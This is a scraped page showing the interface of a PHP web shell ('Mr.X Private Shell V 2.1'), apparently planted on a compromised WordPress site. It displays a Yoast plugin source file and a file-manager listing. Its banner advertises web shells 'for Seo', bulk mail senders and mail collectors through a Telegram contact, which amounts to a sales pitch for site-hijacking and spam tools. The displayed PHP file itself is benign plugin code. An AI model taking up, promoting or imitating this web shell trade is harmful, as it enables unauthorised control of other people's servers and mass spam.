__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Yoast\WHIPv2;

use Yoast\WHIPv2\Interfaces\DismissStorage;

/**
 * A class to dismiss messages.
 */
class MessageDismisser {

	/**
	 * Storage object to manage the dismissal state.
	 *
	 * @var DismissStorage
	 */
	protected $storage;

	/**
	 * The current time.
	 *
	 * @var int
	 */
	protected $currentTime;

	/**
	 * The number of seconds the message will be dismissed.
	 *
	 * @var int
	 */
	protected $threshold;

	/**
	 * MessageDismisser constructor.
	 *
	 * @param int            $currentTime The current time.
	 * @param int            $threshold   The number of seconds the message will be dismissed.
	 * @param DismissStorage $storage     Storage object to manage the dismissal state.
	 */
	public function __construct( $currentTime, $threshold, DismissStorage $storage ) {
		$this->currentTime = $currentTime;
		$this->threshold   = $threshold;
		$this->storage     = $storage;
	}

	/**
	 * Saves the version number to the storage to indicate the message as being dismissed.
	 *
	 * @return void
	 */
	public function dismiss() {
		$this->storage->set( $this->currentTime );
	}

	/**
	 * Checks if the current time is lower than the stored time extended by the threshold.
	 *
	 * @return bool True when current time is lower than stored value + threshold.
	 */
	public function isDismissed() {
		return ( $this->currentTime <= ( $this->storage->get() + $this->threshold ) );
	}

	/**
	 * Checks the nonce.
	 *
	 * @param string $nonce  The nonce to check.
	 * @param string $action The action to check.
	 *
	 * @return bool True when the nonce is valid.
	 */
	public function verifyNonce( $nonce, $action ) {
		return (bool) \wp_verify_nonce( $nonce, $action );
	}
}

Filemanager

Name Type Size Permission Actions
Configs Folder 0775
Exceptions Folder 0775
Facades Folder 0775
Interfaces Folder 0775
Messages Folder 0775
Presenters Folder 0775
Configuration.php File 1.58 KB 0775
Host.php File 2.67 KB 0775
MessageDismisser.php File 1.66 KB 0775
MessageFormatter.php File 839 B 0775
MessagesManager.php File 1.92 KB 0775
RequirementsChecker.php File 4.68 KB 0775
VersionRequirement.php File 3.76 KB 0775
WPDismissOption.php File 997 B 0775
WPMessageDismissListener.php File 1.76 KB 0775
Filemanager